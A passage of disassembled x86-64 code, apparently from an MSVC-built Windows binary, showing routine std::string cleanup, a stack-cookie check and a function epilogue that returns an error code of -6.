call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0xfffffffa
mov rcx, qword [r12]
call qword [0x140016348]
mov ebx, 0xfffffffa
mov r13d, ebx
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x1400066d0
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b180
nop
xor edi, edi
mov qword [rbp + 0x508], rdi
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], dil
mov rdx, qword [rbp + 0x590]
cmp rdx, 0xf
jbe 0x140006730
inc rdx
mov rcx, qword [rbp + 0x578]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000672a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000672a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b180
nop
mov qword [rbp + 0x588], rdi
mov qword [rbp + 0x590], 0xf
mov byte [rbp + 0x578], 0
mov rdx, qword [rbp + 0x4f0]
cmp rdx, 0xf
jbe 0x14000678e
inc rdx
mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006788
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006788
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b180
nop
mov qword [rbp + 0x4e8], rdi
mov qword [rbp + 0x4f0], 0xf
mov byte [rbp + 0x4d8], 0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x1400067ec
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400067e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b180
nop
mov eax, r13d
mov rcx, qword [rbp + 0x3130]
xor rcx, rsp
call fcn.14000ae00
mov rbx, qword [rsp + 0x3290]
add rsp, 0x3240
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret